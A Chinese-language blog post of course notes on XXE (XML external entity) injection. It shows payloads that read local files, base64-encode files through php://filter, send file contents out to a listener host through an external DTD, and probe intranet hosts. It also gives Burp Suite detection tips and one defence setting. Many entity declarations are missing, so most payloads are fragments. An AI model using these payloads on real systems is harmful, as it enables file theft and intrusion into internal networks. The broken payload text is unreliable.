xxe漏洞(简单理解)外部实体化注入

xxe漏洞(简单理解)外部实体化注入
页面之间使用xml语句进行数据的传递,在xml中插入对应外部实体可以实现文件的读取,端口访问等

<?xml version="1.0" encoding="UTF-8"?>

]>

&xxe;

<?xml version = "1.0"?>

]>
&xxe;

<?xml version = "1.0"?>

]>
&xxe;

即可读取到d://a.txt的内容

<?xml version = "1.0"?>

]>
&xxe;

<?xml version = "1.0"?>

]>
&xxe;

即可读取到d:/a/a.txt下面的a.txt内容
在这两端简单的xml注入语句中,路径中的/与//效果一致(d://a.txt,d://a/a.txt),可以进行某些绕过

命令执行 (目标主机需要安装 expect 扩展)

<?xml version = "1.0"?>

]>
&xxe;

间接读取文件方法
引用data,目标主机上的data(需要先上传.dtd文件,比较鸡肋)

<?xml version="1.0" ?>

%file;
]>
&send;

evil2.dtd:

<!ENTITY send SYSTEM "file:///d:/test.txt">

毫无疑问,以上漏洞需要绝对路径

<?xml version="1.0" ?> <!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=a.txt">

]>
&sp;hj

<?xml version = "1.0"?>

]>
&tianxia;
此段代码以base64编码形式返回与本页面相同路径下的a.txt中的内容

<?xml version = "1.0"?>

]>
&tianxia;
访问上一级的a.txt内容

关于无回显的xml注入
在本机搭建index.php接受data传入的参数,添加test.dtd如下文,原理:将获取到的text.txt通过本地的dad文件传送到index.php中

<?xml version="1.0"?> <!ENTITY % dtd SYSTEM "http://本机ip:8081/test.dtd">

%dtd;
%send;
]>
test.dtd:

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://本机ip:8081/?data=%file;'>"

%payload;

内网方面的利用:如果本地访问不了内网其他主机,在http://192.168.0.103:8081/index.txt此位置添加对应的函数sql注入等(都查询出来内网主机的ip和对应端口漏洞,使用这个略显鸡肋)

-内网探针或攻击内网应用(触发漏洞地址)

<?xml version="1.0" encoding="UTF-8"?> <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >

]>
&rabbit;

标志:使用burpsuit抓包如果数据包中存在content-type:xml即有可能存在xml注入
使用bp中的spider模块执行探测,爬取完之后,使用搜索对存在xml字符的页面进行检测即可
防御方法:将libxml_disable_entity_loader设置为TRUE来禁用外部实体

本文为小迪视频的笔记

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值